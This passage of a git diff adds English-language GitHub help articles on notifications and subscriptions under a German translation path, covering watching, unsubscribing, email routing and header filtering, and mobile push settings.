+2. Select the notifications you want to unsubscribe to. In the top right, click **Unsubscribe.**
+  ![Subscriptions page](/assets/images/help/notifications-v2/unsubscribe-from-subscriptions-page.png)
+
+## Unwatching repositories
+
+When you unwatch a repository, you unsubscribe from future updates from that repository unless you participate in a conversation or are @mentioned.
+
+{% data reusables.notifications.access_notifications %}
+1. In the left sidebar, under the list of repositories, use the "Manage notifications" drop-down to click **Watched repositories**.
+
+  ![Manage notifications drop down menu options](/assets/images/help/notifications-v2/manage-notifications-options.png)
+
+2. On the watched repositories page, after you've evaluated the repositories you're watching, choose whether to:
+   
+   - Unwatch a repository
+   - Ignore all notifications for a repository
+   - If enabled, customize the types of event you receive notifications for ({% data reusables.notifications-v2.custom-notification-types %})
+   
+{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
+1. Optionally, to unsubscribe from all repositories owned by a given user or organization, select the **Unwatch all** dropdown and click the organization whose repositories you'd like to unsubscribe from. The button to unwatch all repositories is only available if you are watching all activity or custom notifications on over 10 repositories.
+
+   ![Screenshot of the Unwatch All button.](/assets/images/help/notifications-v2/unsubscribe-from-all-repos.png)
+
+   - Click **Unwatch** to confirm that you want to unwatch the repositories owned by the selected user or organization, or click **Cancel** to cancel.
+
+   ![Screenshot of the unwatch all confirmation dialogue.](/assets/images/help/notifications-v2/unwatch-repo-dialog.png)
+
+{% endif %}
diff --git a/translations/de-DE/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/viewing-your-subscriptions.md b/translations/de-DE/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/viewing-your-subscriptions.md
new file mode 100644
index 0000000000..8d2d85b673
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/viewing-your-subscriptions.md
@@ -0,0 +1,84 @@
+---
+title: Viewing your subscriptions
+intro: 'To understand where your notifications are coming from and your notifications volume, we recommend reviewing your subscriptions and watched repositories regularly.'
+redirect_from:
+  - /articles/subscribing-to-conversations
+  - /articles/unsubscribing-from-conversations
+  - /articles/subscribing-to-and-unsubscribing-from-notifications
+  - /articles/listing-the-issues-and-pull-requests-youre-subscribed-to
+  - /articles/watching-repositories
+  - /articles/unwatching-repositories
+  - /articles/watching-and-unwatching-repositories
+  - /articles/watching-and-unwatching-releases-for-a-repository
+  - /articles/watching-and-unwatching-team-discussions
+  - /articles/listing-watched-repositories
+  - /articles/listing-the-repositories-you-re-watching
+  - /articles/listing-the-repositories-youre-watching
+  - /github/managing-subscriptions-and-notifications-on-github/viewing-your-subscriptions
+  - /github/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/viewing-your-subscriptions
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Notifications
+shortTitle: View subscriptions
+---
+You receive notifications for your subscriptions of ongoing activity on {% data variables.product.product_name %}. There are many reasons you can be subscribed to a conversation. For more information, see "[About notifications](/github/managing-subscriptions-and-notifications-on-github/about-notifications#notifications-and-subscriptions)."
+
+We recommend auditing and unsubscribing from your subscriptions as a part of a healthy notifications workflow. For more information about your options for unsubscribing, see "[Managing subscriptions](/github/managing-subscriptions-and-notifications-on-github/managing-your-subscriptions)."
+
+## Diagnosing why you receive too many notifications
+
+When your inbox has too many notifications to manage, consider whether you have oversubscribed or how you can change your notification settings to reduce the subscriptions you have and the types of notifications you're receiving. For example, you may consider disabling the settings to automatically watch all repositories and all team discussions whenever you've joined a team or repository.
+
+{% ifversion update-notification-settings-22 %}
+![Screenshot of automatic watching options for teams and repositories](/assets/images/automatically-watch-repos-and-teams.png)
+{% else %}
+![Screenshot of automatic watching options for teams and repositories](/assets/images/help/notifications-v2/automatic-watching-example.png){% endif %}
+
+For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#automatic-watching)."
+
+To see an overview of your repository subscriptions, see "[Reviewing repositories that you're watching](#reviewing-repositories-that-youre-watching)." 
+{% tip %}
+
+**Tip:** You can select the types of event to be notified of by using the **Custom** option of the **Watch/Unwatch** dropdown list in your [watching page](https://github.com/watching) or on any repository page on {% data variables.product.product_name %}. For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#configuring-your-watch-settings-for-an-individual-repository)."
+
+{% endtip %}
+
+Many people forget about repositories that they've chosen to watch in the past. From the "Watched repositories" page you can quickly unwatch repositories. For more information on ways to unsubscribe, see "[Unwatch recommendations](https://github.blog/changelog/2020-11-10-unwatch-recommendations/)" on {% data variables.product.prodname_blog %} and "[Managing your subscriptions](/github/managing-subscriptions-and-notifications-on-github/managing-your-subscriptions)." You can also create a triage workflow to help with the notifications you receive. For guidance on triage workflows, see "[Customizing a workflow for triaging your notifications](/github/managing-subscriptions-and-notifications-on-github/customizing-a-workflow-for-triaging-your-notifications)."
+
+## Reviewing all of your subscriptions
+
+{% data reusables.notifications.access_notifications %}
+1. In the left sidebar, under the list of repositories that you have notifications from, use the "Manage notifications" drop-down to click **Subscriptions**.
+  ![Manage notifications drop down menu options](/assets/images/help/notifications-v2/manage-notifications-options.png)
+
+2. Use the filters and sort to narrow the list of subscriptions and begin unsubscribing to conversations you no longer want to receive notifications for.
+
+  ![Subscriptions page](/assets/images/help/notifications-v2/all-subscriptions.png)
+
+{% tip %}
+
+**Tips:**
+- To review subscriptions you may have forgotten about, sort by "least recently subscribed."
+
+- To review a list of repositories that you can still receive notifications for, see the repository list in the "filter by repository" drop-down menu.
+
+{% endtip %}
+
+## Reviewing repositories that you're watching
+
+1. In the left sidebar, under the list of repositories, use the "Manage notifications" drop-down menu and click **Watched repositories**.
+  ![Manage notifications drop down menu options](/assets/images/help/notifications-v2/manage-notifications-options.png)
+2. Evaluate the repositories that you are watching and decide if their updates are still relevant and helpful. When you watch a repository, you will be notified of all conversations for that repository.
+![Watched notifications page](/assets/images/help/notifications-v2/watched-notifications-custom.png)
+
+  {% tip %}
+
+  **Tip:** Instead of watching a repository, consider only receiving notifications when there are updates to {% data reusables.notifications-v2.custom-notification-types %} (if enabled for the repository), or any combination of these options, or completely unwatching a repository.
+  
+  When you unwatch a repository, you can still be notified when you're @mentioned or participating in a thread. When you configure to receive notifications for certain event types, you're only notified when there are updates to these event types in the repository, you're participating in a thread, or you or a team you're on is @mentioned.
+
+  {% endtip %}
diff --git a/translations/de-DE/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications.md b/translations/de-DE/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications.md
new file mode 100644
index 0000000000..18798d0d6f
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications.md
@@ -0,0 +1,99 @@
+---
+title: About notifications
+intro: 'Notifications provide updates about the activity on {% data variables.location.product_location %} that you''ve subscribed to. You can use the notifications inbox to customize, triage, and manage your updates.'
+redirect_from:
+  - /articles/notifications
+  - /articles/about-notifications
+  - /github/managing-subscriptions-and-notifications-on-github/about-notifications-beta
+  - /github/managing-subscriptions-and-notifications-on-github/about-notifications
+  - /github/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Notifications
+---
+
+## Notifications and subscriptions
+
+You can choose to receive ongoing updates about specific activity on {% data variables.location.product_location %} through a subscription. Notifications are updates that you receive for specific activity that you are subscribed to.
+
+### Subscription options
+
+You can choose to subscribe to notifications for:
+- A conversation in a specific issue, pull request, or gist.
+- All activity in a repository or team discussion.
+- CI activity, such as the status of workflows in repositories set up with {% data variables.product.prodname_actions %}. 
+- Repository {% data reusables.notifications-v2.custom-notification-types %} (if enabled).
+
+You can also choose to automatically watch all repositories that you have push access to, except forks. You can watch any other repository you have access to manually by clicking **Watch**.
+
+If you're no longer interested in a conversation, you can unsubscribe, unwatch, or customize the types of notifications you'll receive in the future. For example, if you no longer want to receive notifications from a particular repository, you can click **Unsubscribe**. For more information, see "[Managing your subscriptions](/github/managing-subscriptions-and-notifications-on-github/managing-your-subscriptions)."
+
+### Default subscriptions
+
+In general, you are automatically subscribed to conversations by default when you have:
+- Not disabled automatic watching for repositories or teams you've joined in your notification settings. This setting is enabled by default.
+- Been assigned to an issue or pull request.
+- Opened a pull request, issue, or created a team discussion post.
+- Commented on a thread.
+- Subscribed to a thread manually by clicking **Watch** or **Subscribe**.
+- Had your username @mentioned.
+- Changed the state of a thread, such as by closing an issue or merging a pull request.
+- Had a team you're a member of @mentioned.
+
+By default, you also automatically watch all repositories that you create and are owned by your personal account.
+
+To unsubscribe from conversations you're automatically subscribed to, you can change your notification settings or directly unsubscribe or unwatch activity on {% data variables.location.product_location %}. For more information, see "[Managing your subscriptions](/github/managing-subscriptions-and-notifications-on-github/managing-your-subscriptions)."
+
+## Customizing notifications and subscriptions
+
+You can choose to view your notifications through the notifications inbox at [https://github.com/notifications](https://github.com/notifications){% ifversion fpt or ghes or ghec %} and in the {% data variables.product.prodname_mobile %} app{% endif %}, through your email, or some combination of these options.
+
+To customize the types of updates you'd like to receive and where to send those updates, configure your notification settings. For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications)."
+
+To keep your subscriptions manageable, review your subscriptions and watched repositories and unsubscribe as needed. For more information, see "[Managing subscriptions for activity on GitHub](/github/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github)."
+
+To customize how you'd like to receive updates for specific pull requests or issues, you can configure your preferences within the issue or pull request. For more information, see "[Triaging a single notification](/github/managing-subscriptions-and-notifications-on-github/triaging-a-single-notification#customizing-when-to-receive-future-updates-for-an-issue-or-pull-request)."
+
+{% ifversion fpt or ghes or ghec %}
+You can customize and schedule push notifications in the {% data variables.product.prodname_mobile %} app. For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#managing-your-notification-settings-with-github-mobile)."
+{% endif %}
+
+## Reasons for receiving notifications
+
+Your inbox is configured with default filters, which represent the most common reasons that people need to follow-up on their notifications. For more information about inbox filters, see "[Managing notifications from your inbox](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#default-notification-filters)."
+
+Your inbox shows the `reasons` you're receiving notifications as a label.
+
+![Reasons labels in inbox](/assets/images/help/notifications-v2/reasons-as-labels-in-inbox.png)
+
+You can filter your inbox by the reason you're subscribed to notifications. For example, to only see pull requests where someone requested your review, you can use the `review-requested` query filter.
+
+![Filter notifications by review requested reason](/assets/images/help/notifications-v2/review-requested-reason.png)
+
+If you've configured notifications to be sent by email and believe you're receiving notifications that don't belong to you, consider troubleshooting with email headers, which show the intended recipient. For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#filtering-email-notifications)."
+
+## Triaging notifications from your inbox
+
+To effectively manage your notifications, you can triage your inbox with options to:
+- Remove a notification from the inbox with **Done**. You can review **Done** notifications all in one place by clicking **Done** in the sidebar or by using the query `is:done`.
+- Mark a notification as read or unread.
+- **Save** a notification for later review. **Saved** notifications are flagged in your inbox. You can review **Saved** notifications all in one place in the sidebar by clicking **Saved** or by using the query `is:saved`.
+- Automatically unsubscribe from this notification and future updates from this conversation. Unsubscribing also removes the notification from your inbox. If you unsubscribe from a conversation and someone mentions your username or a team you're on that you're receiving updates for, then you will start to receive notifications from this conversation again.
+
+From your inbox you can also triage multiple notifications at once. For more information, see "[Managing notifications from your inbox](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#triaging-multiple-notifications-at-the-same-time)."
+
+## Customizing your notifications inbox
+
+To focus on a group of notifications in your inbox on {% data variables.location.product_location %}{% ifversion fpt or ghes or ghec %} or {% data variables.product.prodname_mobile %}{% endif %}, you can create custom filters. For example, you can create a custom filter for an open source project you contribute to and only see notifications for that repository in which you are mentioned. For more information, see "[Managing notifications from your inbox](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox)." For more examples of how to customize your triaging workflow, see "[Customizing a workflow for triaging your notifications](/github/managing-subscriptions-and-notifications-on-github/customizing-a-workflow-for-triaging-your-notifications)."
+
+## Notification retention policy
+
+Notifications that are not marked as **Saved** are kept for 5 months. Notifications marked as **Saved** are kept indefinitely. If your saved notification is older than 5 months and you unsave it, the notification will disappear from your inbox within a day.
+
+## Feedback and support
+
+If you have feedback or feature requests for notifications, use a [{% data variables.product.prodname_github_community %} discussion](https://github.com/orgs/community/discussions/categories/general).
diff --git a/translations/de-DE/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications.md b/translations/de-DE/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications.md
new file mode 100644
index 0000000000..ee9ed4f6aa
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications.md
@@ -0,0 +1,304 @@
+---
+title: Configuring notifications
+intro: 'Choose the type of activity on {% data variables.product.prodname_dotcom %} that you want to receive notifications for and how you want these updates delivered.'
+redirect_from:
+  - /articles/about-web-notifications
+  - /format-of-notification-emails
+  - /articles/configuring-notification-emails
+  - /articles/about-notification-emails
+  - /articles/about-email-notifications
+  - /articles/accessing-your-notifications
+  - /articles/configuring-notification-delivery-methods
+  - /articles/managing-notification-delivery-methods
+  - /articles/managing-notification-emails-for-organizations
+  - /articles/choosing-the-delivery-method-for-your-notifications
+  - /articles/choosing-the-types-of-notifications-you-receive
+  - /github/managing-subscriptions-and-notifications-on-github/configuring-notifications
+  - /github/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Notifications
+---
+
+## Notification delivery options
+
+You can receive notifications for activity on {% data variables.location.product_location %} in the following locations.
+
+  - The notifications inbox in the {% data variables.location.product_location %} web interface{% ifversion fpt or ghes or ghec %}
+  - The notifications inbox on {% data variables.product.prodname_mobile %}, which syncs with the inbox on {% data variables.location.product_location %}{% endif %}
+  - An email client that uses a verified email address, which can also sync with the notifications inbox on {% data variables.location.product_location %}{% ifversion fpt or ghes or ghec %} and {% data variables.product.prodname_mobile %}{% endif %}
+
+{% ifversion fpt or ghes or ghec %}
+{% data reusables.notifications-v2.notifications-inbox-required-setting %} For more information, see "[Choosing your notification settings](#choosing-your-notification-settings)."
+{% endif %}
+
+{% data reusables.notifications.shared_state %}
+
+### Benefits of the notifications inbox
+
+The notifications inbox on {% data variables.location.product_location %}{% ifversion fpt or ghes or ghec %} and {% data variables.product.prodname_mobile %}{% endif %} includes triaging options designed specifically for your {% data variables.product.prodname_dotcom %} notifications flow, including options to:
+  - Triage multiple notifications at once.
+  - Mark completed notifications as **Done** and remove them from your inbox. To view all of your notifications marked as **Done**, use the `is:done` query.
+  - Save a notification to review later. Saved notifications are flagged in your inbox and kept indefinitely. To view all of your saved notifications, use the `is:saved` query.
+  - Unsubscribe and remove a notification from your inbox.
+  - Preview the issue, pull request, or team discussion where the notification originates on {% data variables.location.product_location %} from within the notifications inbox.
+  - See one of the latest reasons you're receiving a notification from your inbox with a `reasons` label.
+  - Create custom filters to focus on different notifications when you want.
+  - Group notifications in your inbox by repository or date to get a quick overview with less context switching
+
+{% ifversion fpt or ghes or ghec %}
+In addition, you can receive and triage notifications on your mobile device with {% data variables.product.prodname_mobile %}. For more information, see "[Managing your notification settings with GitHub Mobile](#managing-your-notification-settings-with-github-mobile)" or "[GitHub Mobile](/get-started/using-github/github-mobile)."
+{% endif %}
+
+### Benefits of using an email client for notifications
+
+One benefit of using an email client is that all of your notifications can be kept indefinitely depending on your email client's storage capacity. Your inbox notifications are only kept for 5 months on {% data variables.product.prodname_dotcom %} unless you've marked them as **Saved**. **Saved** notifications are kept indefinitely. For more information about your inbox's retention policy, see "[About notifications](/github/managing-subscriptions-and-notifications-on-github/about-notifications#notification-retention-policy)."
+
+Sending notifications to your email client also allows you to customize your inbox according to your email client's settings, which can include custom or color-coded labels.
+
+Email notifications also allow flexibility with the types of notifications you receive and allow you to choose different email addresses for updates. For example, you can send certain notifications for a repository to a  verified personal email address. For more information, about your email customization options, see "[Customizing your email notifications](#customizing-your-email-notifications)."
+
+## About participating and watching notifications
+
+When you watch a repository, you're subscribing to updates for activity in that repository. Similarly, when you watch a specific team's discussions, you're subscribing to all conversation updates on that team's page. For more information, see "[About team discussions](/organizations/collaborating-with-your-team/about-team-discussions)."
+
+To see repositories that you're watching, go to your [watching page](https://github.com/watching). For more information, see "[Managing subscriptions and notifications on GitHub](/github/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github)."
+
+{% ifversion ghae %}
+### Configuring notifications
+{% endif %}
+You can configure notifications for a repository on the repository page, or on your watching page.
+
+### About custom notifications
+You can customize notifications for a repository. For example, you can choose to only be notified when updates to one or more types of events ({% data reusables.notifications-v2.custom-notification-types %}) happen within a repository, or ignore all notifications for a repository. For more information, see "[Configuring your watch settings for an individual repository](#configuring-your-watch-settings-for-an-individual-repository)" below.
+
+### Participating in conversations
+Anytime you comment in a conversation or when someone @mentions your username, you are _participating_ in a conversation. By default, you are automatically subscribed to a conversation when you participate in it. You can unsubscribe from a conversation you've participated in manually by clicking **Unsubscribe** on the issue or pull request or through the **Unsubscribe** option in the notifications inbox.
+
+{% ifversion update-notification-settings-22 %}For conversations you're watching or participating in, you can choose whether you want to receive notifications on {% data variables.product.company_short %} or by email in your notification settings. For more information, see "[Choosing your notification settings](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#choosing-your-notification-settings)."
+
+![Animated GIF of participating and watching subscriptions options](/assets/images/help/notifications/selecting-participating-notifications.gif) 
+
+{% else %}
+
+For conversations you're watching or participating in, you can choose whether you want to receive notifications by email or through the notifications inbox on {% data variables.location.product_location %}{% ifversion ghes %} and {% data variables.product.prodname_mobile %}{% endif %}. For more information, see "[Choosing your notification settings](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#choosing-your-notification-settings)."
+
+![Screenshot of participating and watching notifications options](/assets/images/help/notifications-v2/participating-and-watching-options.png){% endif %}
+
+
+
+For example:
+  - If you don't want notifications to be sent to your email, unselect **email** for participating and watching notifications.
+  - If you want to receive notifications by email when you've participated in a conversation, then you can select **email** under "Participating".
+
+{% ifversion update-notification-settings-22 %}If you do not enable "Notify me: On GitHub" for watching or participating notifications, then your notifications inbox will not have any updates.
+
+{% else %}
+
+If you do not enable watching or participating notifications for web{% ifversion ghes %} and mobile{% endif %}, then your notifications inbox will not have any updates.{% endif %}
+
+## Customizing your email notifications
+
+After enabling email notifications, {% data variables.location.product_location %} will send notifications to you as multipart emails that contain both HTML and plain text copies of the content. Email notification content includes any Markdown, @mentions, emojis, hash-links, and more, that appear in the original content on {% data variables.location.product_location %}. If you only want to see the text in the email, you can configure your email client to display the plain text copy only.
+
+{% data reusables.notifications.outbound_email_tip %}
+
+{% data reusables.notifications.shared_state %}
+
+{% ifversion fpt or ghec %}
+
+If you're using Gmail, you can click a button beside the notification email to visit the original issue or pull request that generated the notification.
+
+![Buttons in Gmail](/assets/images/help/notifications/gmail-buttons.png)
+
+{% endif %}
+
+Choose a default email address where you want to send updates for conversations you're participating in or watching. You can also specify which activity on {% data variables.location.product_location %} you want to receive updates for using your default email address. For example, choose whether you want updates to your default email from:
+  - Comments on issues and pull requests.
+  - Pull request reviews.
+  - Pull request pushes.
+  - Your own updates, such as when you open, comment on, or close an issue or pull request.
+
+Depending on the organization that owns the repository, you can also send notifications to different email addresses. Your organization may require the email address to be verified for a specific domain. For more information, see "[Choosing where your organization’s email notifications are sent](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#choosing-where-your-organizations-email-notifications-are-sent)."
+
+You can also send notifications for a specific repository to an email address. For more information, see "[About email notifications for pushes to your repository](/github/administering-a-repository/about-email-notifications-for-pushes-to-your-repository)."
+
+{% data reusables.notifications-v2.email-notification-caveats %}
+
+## Filtering email notifications
+
+Each email notification that {% data variables.location.product_location %} sends contains header information. The header information in every email is consistent, so you can use it in your email client to filter or forward all {% data variables.product.prodname_dotcom %} notifications, or certain types of {% data variables.product.prodname_dotcom %} notifications.
+
+If you believe you're receiving notifications that don't belong to you, examine the `X-GitHub-Recipient` and `X-GitHub-Recipient-Address` headers. These headers show who the intended recipient is. Depending on your email setup, you may receive notifications intended for another user.
+
+Email notifications from {% data variables.location.product_location %} contain the following header information:
+
+| Header | Information |
+| --- | --- |
+| `From` address | This address will always be {% ifversion fpt or ghec %}'`notifications@github.com`'{% else %}'the no-reply email address configured by your site administrator'{% endif %}. |
+| `To` field | This field connects directly to the thread.{% ifversion not ghae %} If you reply to the email, you'll add a new comment to the conversation.{% endif %} |
+| `Cc` address | {% data variables.product.product_name %} will `Cc` you if you're subscribed to a conversation. The second `Cc` email address matches the notification reason. The suffix for these notification reasons is {% data variables.notifications.cc_address %}. The possible notification reasons are: <ul><li>`assign`: You were assigned to an issue or pull request.</li><li>`author`: You created an issue or pull request.</li><li>`ci_activity`: A {% data variables.product.prodname_actions %} workflow run that you triggered was completed.</li><li>`comment`: You commented on an issue or pull request.</li><li>`manual`: There was an update to an issue or pull request you manually subscribed to.</li><li>`mention`: You were mentioned on an issue or pull request.</li><li>`push`: Someone committed to a pull request you're subscribed to.</li><li>`review_requested`: You or a team you're a member of was requested to review a pull request.</li><li>`security_alert`: {% data variables.product.prodname_dotcom %} detected a vulnerability in a repository you receive alerts for.</li><li>`state_change`: An issue or pull request you're subscribed to was either closed or opened.</li><li>`subscribed`: There was an update in a repository you're watching.</li><li>`team_mention`: A team you belong to was mentioned on an issue or pull request.</li><li>`your_activity`: You opened, commented on, or closed an issue or pull request.</li></ul> |
+| `mailing list` field | This field identifies the name of the repository and its owner. The format of this address is always `<repository name>.<repository owner>.{% data variables.command_line.backticks %}`. |
+| `X-GitHub-Severity` field | {% data reusables.repositories.security-alerts-x-github-severity %} The possible severity levels are:<ul><li>`low`</li><li>`moderate`</li><li>`high`</li><li>`critical`</li></ul>For more information, see "[About {% data variables.product.prodname_dependabot_alerts %}](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)." |
+
+## Choosing your notification settings
+
+{% data reusables.notifications.access_notifications %}
+{% data reusables.notifications-v2.manage-notifications %}
+3. On the notifications settings page, choose how you receive notifications when:
+    - There are updates in repositories or team discussions you're watching or in a conversation you're participating in. For more information, see "[About participating and watching notifications](#about-participating-and-watching-notifications)."
+    - You gain access to a new repository or you've joined a new team. For more information, see "[Automatic watching](#automatic-watching)."
+    - There are new {% data variables.product.prodname_dependabot_alerts %} in your repository. For more information, see "[{% data variables.product.prodname_dependabot_alerts %} notification options](#dependabot-alerts-notification-options)."  {% ifversion fpt or ghec %}
+    - There are workflow runs updates on repositories set up with {% data variables.product.prodname_actions %}. For more information, see "[{% data variables.product.prodname_actions %} notification options](#github-actions-notification-options)."{% endif %}{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
+    - There are new deploy keys added to repositories that belong to organizations that you're an owner of. For more information, see "[Organization alerts notification options](#organization-alerts-notification-options)."{% endif %}
+
+## Automatic watching
+
+By default, anytime you gain access to a new repository, you will automatically begin watching that repository. Anytime you join a new team, you will automatically be subscribed to updates and receive notifications when that team is @mentioned. If you don't want to automatically be subscribed, you can unselect the automatic watching options in your notification settings. 
+
+{% ifversion update-notification-settings-22 %}
+![Automatic watching options for teams and repositories](/assets/images/automatically-watch-repos-and-teams.png)
+{% else %}
+![Automatic watching options](/assets/images/help/notifications-v2/automatic-watching-options.png){% endif %}
+
+If "Automatically watch repositories" is disabled, then you will not automatically watch your own repositories. You must navigate to your repository page and choose the watch option. 
+
+For more information, see "[Choosing your notification settings](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#choosing-your-notification-settings)."
+
+## Configuring your watch settings for an individual repository
+
+You can choose whether to watch or unwatch an individual repository. You can also choose to only be notified of certain event types such as {% data reusables.notifications-v2.custom-notification-types %} (if enabled for the repository) , or completely ignore an individual repository.
+
+{% data reusables.repositories.navigate-to-repo %}
+2. In the upper-right corner, select the "Watch" drop-down menu to click a watch option.
+   ![Watch options in a drop-down menu for a repository](/assets/images/help/notifications-v2/watch-repository-options-custom.png)
+
+   The **Custom** option allows you to further customize notifications so that you're only notified when specific events happen in the repository, in addition to participating and @mentions.
+   ![Custom watch options in a drop-down menu for a repository](/assets/images/help/notifications-v2/watch-repository-options-custom2-dotcom.png)
+   If you select "Issues", you will be notified about, and subscribed to, updates on every issue (including those that existed prior to you selecting this option) in the repository. If you're @mentioned in a pull request in this repository, you'll receive notifications for that too, and you'll be subscribed to updates on that specific pull request, in addition to being notified about issues.
+
+## Choosing where your organization’s email notifications are sent
+
+If you belong to an organization, you can choose the email account you want notifications for organization activity sent to. For example, if you belong to an organization for work, you may want your notifications sent to your work email address, rather than your personal address.	
+
+{% data reusables.notifications-v2.email-notification-caveats %}
+
+{% data reusables.notifications.access_notifications %}
+{% data reusables.notifications-v2.manage-notifications %}
+
+3. Under "Default notification email", select the email address you'd like notifications sent to.	
+{% ifversion update-notification-settings-22 %}
+
+   ![Screenshot of the default notification email address setting](/assets/images/help/notifications/default-email-address-emphasized.png)
+
+{% else %}
+
+   ![Screenshot of the default notification email address dropdown](/assets/images/help/notifications/notifications_primary_email_for_orgs.png){% endif %}
+{% ifversion ghes or ghae %}
+4. Click **Save**.{% endif %}	
+
+### Customizing email routes per organization	
+
+If you are a member of more than one organization, you can configure each one to send notifications to any of{% ifversion fpt or ghec %} your verified email addresses{% else %} the email addresses for your account{% endif %}. {% ifversion fpt or ghec %} For more information, see "[Verifying your email address](/articles/verifying-your-email-address)."{% endif %} 
+
+{% data reusables.notifications.access_notifications %}
+{% data reusables.notifications-v2.manage-notifications %}
+{% ifversion update-notification-settings-22 %}
+3. Under "Default notifications email", click **Custom routing**.
+
+   ![Screenshot of default notifications email settings with custom routing button emphasised](/assets/images/help/notifications/custom-router-emphasized.png)
+
+4. Click **Add new route**.
+
+   ![Screenshot of custom routing settings with add new route button emphasised](/assets/images/help/notifications/add-new-route-emphasized.png)
+
+5. Click **Pick organization**, then select the organization you want to customize from the dropdown.
+
+   ![Screenshot of dropdown to pick organization](/assets/images/help/notifications/organization-dropdown-custom-routing-emphasis.png)
+
+6. Select one of your verified email addresses, then click **Save**. 
+
+   ![Screenshot of custom routing page with save button](/assets/images/help/notifications/select-email-address-custom-routing-and-save.png)
+
+{% else %}
+3. Under "Custom routing," find your organization's name in the list.
+
+   ![List of organizations and email addresses](/assets/images/help/notifications/notifications_org_emails.png)	
+
+4. Click **Edit** next to the email address you want to change.
+
+   ![Editing an organization's email addresses](/assets/images/help/notifications/notifications_edit_org_emails.png)	
+
+5. Select one of your verified email addresses, then click **Save**.	
+
+   ![Switching your per-org email address](/assets/images/help/notifications/notifications_switching_org_email.gif){% endif %}
+
+## {% data variables.product.prodname_dependabot_alerts %} notification options 
+
+{% data reusables.notifications.vulnerable-dependency-notification-enable %}
+{% data reusables.notifications.vulnerable-dependency-notification-delivery-method-customization2 %}
+{% data reusables.notifications.vulnerable-dependency-notification-options %}
+
+For more information about the notification delivery methods available to you, and advice on optimizing your notifications for {% data variables.product.prodname_dependabot_alerts %}, see "[Configuring notifications for {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/configuring-notifications-for-dependabot-alerts)."
+
+{% ifversion update-notification-settings-22 or ghes %}
+## {% data variables.product.prodname_actions %} notification options
+
+Choose how you want to receive workflow run updates for repositories that you are watching that are set up with {% data variables.product.prodname_actions %}. You can also choose to only receive notifications for failed workflow runs.{% endif %}
+
+{% ifversion update-notification-settings-22 %}
+![Animated GIF of notification options for {% data variables.product.prodname_actions %}](/assets/images/help/notifications/github-actions-customize-notifications.gif){% endif %}
+
+{% ifversion ghes %}
+  ![Screenshot of the notification options for {% data variables.product.prodname_actions %}](/assets/images/help/notifications-v2/github-actions-notification-options.png){% endif %}
+
+
+{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
+## Organization alerts notification options 
+
+If you're an organization owner, you'll receive email notifications by default when organization members add new deploy keys to repositories within the organization. You can unsubscribe from these notifications. On the notification settings page, under "Organization alerts", unselect **Email**. 
+
+{% endif %}
+
+{% ifversion fpt or ghes or ghec %}
+## Managing your notification settings with {% data variables.product.prodname_mobile %}
+
+When you install {% data variables.product.prodname_mobile %}, you will automatically be opted into web notifications. Within the app, you can enable push notifications for the following events.
+- Direct mentions
+- Assignments to issues or pull requests
+- Requests to review a pull request
+- Requests to approve a deployment
+
+You can also schedule when {% data variables.product.prodname_mobile %} will send push notifications to your mobile device.
+
+{% data reusables.mobile.push-notifications-on-ghes %}
+
+### Managing your notification settings with {% data variables.product.prodname_ios %}
+
+1. In the bottom menu, tap **Profile**.
+2. To view your settings, tap {% octicon "gear" aria-label="The Gear icon" %}.
+3. To update your notification settings, tap **Notifications** and then use the toggles to enable or disable your preferred types of push notifications.
+4. Optionally, to schedule when {% data variables.product.prodname_mobile %} will send push notifications to your mobile device, tap **Working Hours**, use the **Custom working hours** toggle, and then choose when you would like to receive push notifications.
+
+### Managing your notification settings with {% data variables.product.prodname_android %}
+
+1. In the bottom menu, tap **Profile**.
+2. To view your settings, tap {% octicon "gear" aria-label="The Gear icon" %}.
+3. To update your notification settings, tap **Configure Notifications** and then use the toggles to enable or disable your preferred types of push notifications.
